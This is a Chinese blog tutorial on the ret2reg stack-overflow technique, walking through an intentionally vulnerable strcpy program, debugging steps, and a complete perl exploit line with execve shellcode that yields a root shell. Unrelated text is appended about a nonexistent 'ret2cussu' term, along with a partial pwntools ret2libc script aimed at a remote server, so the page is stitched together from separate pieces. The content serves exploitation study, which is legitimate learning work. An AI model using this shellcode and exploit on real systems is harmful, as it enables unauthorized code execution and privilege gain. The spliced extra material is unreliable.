中级ROP之ret2reg

本文深入探讨了ret2reg技术的原理与应用,通过分析和调试汇编代码,讲解如何利用该技术注入shellcode并获取shell。同时,文章提供了防御方法及实例分析,帮助读者全面理解ret2reg。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

ret2reg

原理

  1. 查看栈溢出返回时哪个寄存器指向缓冲区空间。
  2. 查找对应的call 寄存器或者jmp 寄存器指令,将EIP设置为该指令地址。
  3. 将寄存器所指向的空间上注入shellcode(确保该空间是可以执行的,通常是栈上的)
利用思路
  • 分析和调试汇编,查看溢出函数返回时哪个寄存器指向缓冲区地址
  • 向寄存器指向的缓冲区中注入shellcode
  • 查找call 该寄存器或者jmp 该寄存器指令,并将该指令地址覆盖ret
防御方法

在函数ret之前,将所有赋过值的寄存器全部复位,清0,以避免此类漏洞

Example

此类漏洞常见于strcpy字符串拷贝函数中。

源程序
#include <stdio.h>
#include <string.h>
void evilfunction(char *input) {
        char buffer[512];
        strcpy(buffer, input);
}
int main(int argc, char **argv) {
        evilfunction(argv[1]);
        return 0;
}

编译

开启地址随机化(ASLR)

echo 2 > /proc/sys/kernel/randomize_va_space

进行编译

gcc -Wall -g -o ret2reg ret2reg.c -z execstack -m32 -fno-stack-protector
checksec + IDA分析
[*] '/mnt/hgfs/ubuntu_share/pwn/interrop/ret2reg'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

int __cdecl main(int argc, const char **argv, const char **envp)
{
  evilfunction((char *)argv[1]);
  return 0;
}
void __cdecl evilfunction(char *input)
{
  char buffer[512]; // [esp+0h] [ebp-208h]

  strcpy(buffer, input);
}
  • 可以看出,程序将argv[1]对应的字符串拷贝进了buffer中,argv[1]就是程序接收的命令行参数。
./ret2reg 123123
  • 123123就是我们输入的第一个命令行参数,其中 $argv[0] 就是脚本文件名,argc[1]为输入的第一个参数
  • 返回evilfunction函数的汇编指令
.text:0804840B                 push    ebp
.text:0804840C                 mov     ebp, esp
.text:0804840E                 sub     esp, 208h
.text:08048414                 sub     esp, 8
.text:08048417                 push    [ebp+input]     ; src
.text:0804841A                 lea     eax, [ebp+buffer]
.text:08048420                 push    eax             ; dest
.text:08048421                 call    _strcpy
.text:08048426                 add     esp, 10h
.text:08048429                 nop
.text:0804842A                 leave
.text:0804842B                 retn
  • 可以看到,lea eax,[ebp+buffer],该指令就是将[ebp + buffer]的偏移地址送给eax,也就相当于eax指向了buffer缓冲区的位置
  • 这时我们就可以向buffer中写入shellcode,并且找到call eax指令地址来覆盖ret,从而拿到shell
  • 这时我们需要查看evilfunction函数返回时,eax是不是还指向缓冲区地址
  • 使用gdb进行调试带参数的程序

gdb --args ret2reg 123123
b *0x0804842B
r

  • 可见eax的值仍为缓冲区的地址
  • 接下来查找call eax或者jmp eax指令
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/interrop# objdump -d ret2reg | grep *%eax
 8048373:	ff d0                	call   *%eax

  • payload就可以构造出来了

payload = shellcode + (0x208 + 4 - len(shellcode)) * a + p32(0x8048373)

Exp
  • 使用prel命令即可打通
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/interrop# ./ret2reg $(perl -e 'printf "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80" . "A"x499 ."\x73\x83\x04\x08"')
# id
uid=0(root) gid=0(root) groups=0(root)
经过检索,“ret2cussu”可能是一个拼写错误或者是对现有技术名称的误解。在漏洞利用领域,常见的返回导向编程(ROP)攻击方式包括但不限于 `ret2libc`、`ret2plt` 和 `ret2text` 等。 以下是关于这些常见 ROP 攻击方式的技术描述: ### 常见 ROP 攻击方式概述 #### 1. **Ret2libc** Ret2libc 是一种经典的堆栈溢出攻击方法,通过覆盖目标函数的返回地址来调用 libc 中已有的函数,通常会选择 `system()` 函数并传递参数 `/bin/sh` 来获取 shell[^1]。 实现过程的关键在于找到以下两个要素: - `system()` 的具体地址。 - 字符串 `/bin/sh` 在内存中的位置。 如果程序启用了 ASLR (Address Space Layout Randomization),则需要额外手段绕过随机化机制。 #### 2. **Ret2plt** 当无法直接定位到 libc 地址时,可以通过跳转到 `.plt` 节区内的条目间接调用所需的库函数[^2]。由于 PLT 表项的位置固定不变,即使存在 ASLR 影响也不受影响。 #### 3. **Ret2text** 对于某些特定条件下运行的应用程序来说,如果其本身未启用 NX bit 或其他防护措施,则可以直接重定向执行流回到可执行部分代码段内部某处继续操作[^3]。 基于上述分析可知,并不存在名为 “ret2cussu” 的专门术语或对应技巧;可能是您想了解的是以上提到过的几种经典 rop gadget 利用手法之一,请确认实际需求后再做进一步探讨。 ```python # 示例 Python 脚本用于演示如何计算偏移量以及构造 payload 数据包发送给服务端触发漏洞完成 ret2libc 类型攻击 from pwn import * context.arch = 'amd64' elf = ELF('./vuln') # 加载本地二进制文件实例对象以便后续读取信息如 got plt etc. p = remote('challenge-server', port_number) offset = cyclic_find(0x6161617a) # 使用 pwntools 自带工具寻找崩溃点精确 offset 长度值 payload = b'A' * offset + pack(elf.symbols['puts']) + ... # 构建最终恶意输入字符串序列组合起来形成完整的 exploit chain 结构体形式提交过去即可成功拿下 flag! p.sendline(payload) print(p.recvall()) ```
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

西杭

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值